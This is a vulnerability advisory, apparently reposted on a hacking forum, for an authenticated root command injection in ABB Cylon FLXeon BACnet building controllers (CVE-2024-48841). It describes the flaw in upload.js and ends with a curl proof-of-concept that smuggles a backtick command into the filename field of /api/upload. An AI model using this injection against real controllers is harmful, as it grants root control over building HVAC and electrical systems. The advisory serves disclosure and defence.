Kod:
ABB Cylon FLXeon 9.3.4 (upload.js) Authenticated Root Remote Code Execution
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
CBX Series (FLX Series)
CBT Series
CBV Series
Firmware: <=9.3.4
Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.
The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.
Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to an authenticated root
command injection. An attacker can exploit the Backup-Restore feature via the /api/upload
endpoint to execute arbitrary system commands as root. The issue arises due to improper
input validation in upload.js, where user-supplied input is passed to ChildProcess.exec()
without adequate sanitization, allowing command injection via the filename parameter.
Tested on: Linux Kernel 5.4.27
Linux Kernel 4.15.13
NodeJS/8.4.0
Express
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2025-5909
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5909.php
CVE ID: CVE-2024-48841
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
21.04.2024
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$ curl -k -X PUT "https://7.3.3.1/api/upload" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: multipart/form-data; boundary=----zeroscience" \
> --data-binary $'------zeroscience\r\nContent-Disposition: form-data; \
> name="filename"\r\n\r\n`sleep 17`\r\n------zeroscience\r\nContent-Disposition: \
> form-data; name="file"; filename="test"\r\nContent-Type: \
> application/octet-stream\r\n\r\n------zeroscience--'
# turkhacks.com [2025-02-03] #